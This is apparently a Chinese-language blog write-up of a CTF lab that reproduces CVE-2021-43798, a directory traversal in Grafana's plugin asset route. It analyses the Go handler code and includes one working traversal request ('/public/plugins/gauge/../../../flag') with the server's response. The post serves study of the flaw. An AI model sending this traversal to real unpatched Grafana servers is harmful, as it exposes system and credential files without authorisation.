WEB CVE DT Go (WEB)CVE-2021-43798 GHSC 2026-04-13 2026-04-13 鼠鼠從現在開始記錄每一個CVE的复刻 QWQ 。 這一次學了一點go的後端。
簡介 CVE-2021-43798 是一個開源監控平台 Grafana的漏洞。
影響版本:Grafana 8.0.0-beta1 ~ 8.3.0
Directory Traversal(目錄穿越)
平台:https://www.nssctf.cn/problem/1139
复刻: github:
grafana
了解Grafana 内置 plugin(源碼):
api.go
grafana的好像是go語言寫的 ,
分析一下api.go
有兩func :
registerRoutes(): 把 Grafana 整個 Web / API 的路由全部註冊起來
定義整個站有哪些 URL:
1 2 3 4 5 6 例如: /login /logout /api/user/... /api/plugins/... /public/plugins/:pluginId/*
還有middleware:
1 2 3 4 5 例如某些路由需要: 未登入可訪問 已登入才可訪問 只有 org admin / grafana admin 才可訪問 RBAC 權限檢查
把 URL 連到實際 handler:
1 r.Get("/login" , hs.LoginView)
用get方法: /login->LoginView (和CVE有關) api.go 264 line
1 r.Get("/public/plugins/:pluginId/*" , hs.getPluginAssets)
get :/public/plugins/:pluginId/*->getPluginAssets
注意: “/public/plugins/:pluginId/*”是一條 動態路由(dynamic route),用來讓瀏覽器讀取 Grafana 插件的靜態檔案。
1 2 3 4 :pluginId : 插件名稱(變數) 比如: /public/plugins/gauge/ /public/plugins/alertlist/
1 2 3 4 5 6 7 8 9 10 *: 通配符(wildcard) /public/plugins/gauge/* gauge下所有文件目錄: /public/plugins/gauge/module.js /public/plugins/gauge/css/style.css /public/plugins/gauge/abc/def/ghi.js /public/plugins/alertlist/* alertlist下所有文件目錄: ....
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 GET /public/plugins/gauge/../../../../../../../../../../flag HTTP/1.1 Host: node5.anna.nssctf.cn:23984 Accept-Language: zh-TW,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: no-cache Content-Length: 45 Content-Type: text/plain; charset=utf-8 Expires: -1 Last-Modified: Mon, 13 Apr 2026 12:40:31 GMT Pragma: no-cache X-Content-Type-Options: nosniff X-Frame-Options: deny X-Xss-Protection: 1; mode=block Date: Mon, 13 Apr 2026 12:42:02 GMT NSSCTF{923271a8-dfa0-4b1c-b64b-c717df9f1de5}
那如果把*拿來當跳板目錄穿越:
1 2 :pluginId = gauge * = ../../../../../../flag
getPluginAssets():
在/api/plugins.go 348 line 找到 : getPluginAssets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ":pluginId" func (hs *HTTPServer) getPluginAssets(c *contextmodel.ReqContext) { pluginID := web.Params(c.Req)[":pluginId" ] plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID) if !exists { c.JsonApiErr(404 , "Plugin not found" , nil ) return } requestedFile, err := plugins.CleanRelativePath(web.Params(c.Req)["*" ]) if err != nil { c.JsonApiErr(500 , "Failed to clean relative file path" , err) return } if hs.pluginsCDNService.PluginSupported(pluginID) { hs.redirectCDNPluginAsset(c, plugin, requestedFile) return } hs.serveLocalPluginAsset(c, plugin, requestedFile) }
可以注意到:
1 requestedFile, err := plugins.CleanRelativePath(web.Params(c.Req)["*" ])
從 URL 裡取出 * 這段,也就是 plugin 之後的剩餘路徑,然後做「相對路徑清理」:
把”:pluginId”後面的路徑抽出來
我不知道CDN是什麼 , 問了問GPT :不走 CDN,那就從本地檔案系統讀出 plugin 資源,再回給客戶端
CDN 檢查這個 plugin 是否支援從 CDN 提供靜態資源
因為有些 plugin 的 JS/CSS 檔案不一定要從本機讀,可以直接讓瀏覽器去 CDN 抓,減少伺服器負擔。
1 2 3 4 5 6 7 8 9 if hs.pluginsCDNService.PluginSupported(pluginID) { hs.redirectCDNPluginAsset(c, plugin, requestedFile) return } hs.serveLocalPluginAsset(c, plugin, requestedFile) }
很明顯/../../../../flag走的是serveLocalPluginAsset
middlewareUserUIDResolver(): 產生一個 middleware handler(跟這個 CVE沒關係)不管了。